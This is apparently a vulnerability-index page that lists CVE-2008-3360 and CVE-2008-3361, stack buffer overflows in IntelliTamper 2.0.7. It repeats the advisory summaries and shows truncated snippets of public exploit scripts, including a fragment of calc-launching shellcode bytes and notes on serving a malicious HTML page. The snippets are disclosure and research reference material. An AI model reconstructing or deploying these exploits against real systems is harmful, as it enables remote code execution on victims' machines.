Stack overflow

Stack-based buffer overflow in IntelliTamper 2.07 allows remote web sites to execute arbitrary code via a long HTTP Server header...

CVE-2008-3360

CVE-2008-3360: Stack-based buffer overflow in the HTML parser of IntelliTamper 2.0.7 enables remote code execution via a long URL in the HREF attribute of an A element. This is described as a distinct issue from CVE-2006-2494. The connected sources confirm the affected software and root cause but...

CVE-2008-3361

CVE-2008-3361 describes a stack-based buffer overflow in IntelliTamper 2.07 that allows remote attackers to execute arbitrary code via a long HTTP Server header. The vulnerability is network-based with no authentication required, per CVSS v2 data (AV:N/AC:L/Au:N/C:P/I:P/A:P). Public references no...

CVE-2008-3360

Stack-based buffer overflow in the HTML parser in IntelliTamper 2.0.7 allows remote attackers to execute arbitrary code via a long URL in the HREF attribute of an A element, a different vulnerability than CVE-2006-2494...

CVE-2008-3361

Stack-based buffer overflow in IntelliTamper 2.07 allows remote web sites to execute arbitrary code via a long HTTP Server header...

IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit (c)

No description provided by source. / IntelliTamper 2.0.7 html parser Remote Buffer Overflow Just a C version of Guido Landi's discovery. Written by r0ut3r writ3r at gmail.com kit:/home/r0ut3r/publichtml gcc -o intell intell.c kit:/home/r0ut3r/publichtml ./intell + Building payload + Success writi...

IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl use warnings; use strict; CMD="c:\windows\system32\calc.exe" x86/alphamixed succeeded, final size 344 my $shellcode = "\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" . "\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58"...

IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow (C)

IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow C / IntelliTamper 2.0.7 html parser Remote Buffer Overflow Just a C version of Guido Landi's discovery. Written by r0ut3r writ3r at gmail.com kit:/home/r0ut3r/publichtml gcc -o intell intell.c kit:/home/r0ut3r/publichtml ./intell + Building...

IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit (c)

Exploit for unknown platform in category remote exploits ==================================================================== IntelliTamper 2.0.7 html parser Remote Buffer Overflow Exploit c ==================================================================== / IntelliTamper 2.0.7 html parser...

IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow PoC

No description provided by source. !/usr/bin/perl ksOSe - 07/21/2008 This is NOT http://secunia.com/advisories/20172/. There are some BOFs in the html parser, just put a properly formatted html file in your website and launch IntelliTamper against it. use warnings; use strict; my $evilhtml =...

IntelliTamper 2.07 (server header) Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl IntelliTamper 2.07 Remote Code Execution server header By: Koshi Guido Landi finally did it, thought i'd throw one in there. This example assumes you're scanning "http://127.0.0.1" For example, exploit may not work if you were to scan...

intellitamper207-exec.txt

!/usr/bin/perl IntelliTamper 2.07 Remote Code Execution server header By: Koshi Guido Landi finally did it, thought i'd throw one in there. This example assumes you're scanning "http://127.0.0.1" For example, exploit may not work if you were to scan "http://127.0.0.1:80" or even changing it as...

IntelliTamper 2.07 (map file) Local Arbitrary Code Execution Exploit (pl)

No description provided by source. !/usr/bin/perl ksOSe - 7/21/2008 http://secunia.com/advisories/20172 A sploit for an ancient vuln. Just because i need to improve my skills on windows explotation. use warnings; use strict; CMD="c:\windows\system32\calc.exe" x86/alphamixed succeeded, final size...

IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow

/ IntelliTamper 2.0.7 html parser Remote Buffer Overflow Just a C version of Guido Landi's discovery. Written by r0ut3r writ3r at gmail.com kit:/home/r0ut3r/publichtml gcc -o intell intell.c kit:/home/r0ut3r/publichtml ./intell + Building payload + Success writing to index.html...

IntelliTamper 2.07 (server header) Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl IntelliTamper 2.07 Remote Code Execution server header By: Koshi Guido Landi finally did it, thought i'd throw one in there. This example assumes you're scanning "http://127.0.0.1" For example, exploit may not work if you were to scan...

IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================ IntelliTamper 2.0.7 html parser Remote Buffer Overflow Exploit ================================================================ !/usr/bin/perl use warnings; use strict;...

IntelliTamper 2.07 - server header Remote Code Execution

IntelliTamper 2.07 - server header Remote Code Execution !/usr/bin/perl IntelliTamper 2.07 Remote Code Execution server header By: Koshi Guido Landi finally did it, thought i'd throw one in there. This example assumes you're scanning "http://127.0.0.1" For example, exploit may not work if you wer...

IntelliTamper 2.07 (server header) Remote Code Execution Exploit

Exploit for unknown platform in category remote exploits ================================================================ IntelliTamper 2.07 server header Remote Code Execution Exploit ================================================================ !/usr/bin/perl IntelliTamper 2.07 Remote Code...

IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow

!/usr/bin/perl use warnings; use strict; CMD="c:\windows\system32\calc.exe" x86/alphamixed succeeded, final size 344 my $shellcode = "\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" . "\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58"...

IntelliTamper 2.07 - server header Remote Code Execution

!/usr/bin/perl IntelliTamper 2.07 Remote Code Execution server header By: Koshi Guido Landi finally did it, thought i'd throw one in there. This example assumes you're scanning "http://127.0.0.1" For example, exploit may not work if you were to scan "http://127.0.0.1:80" or even changing it as...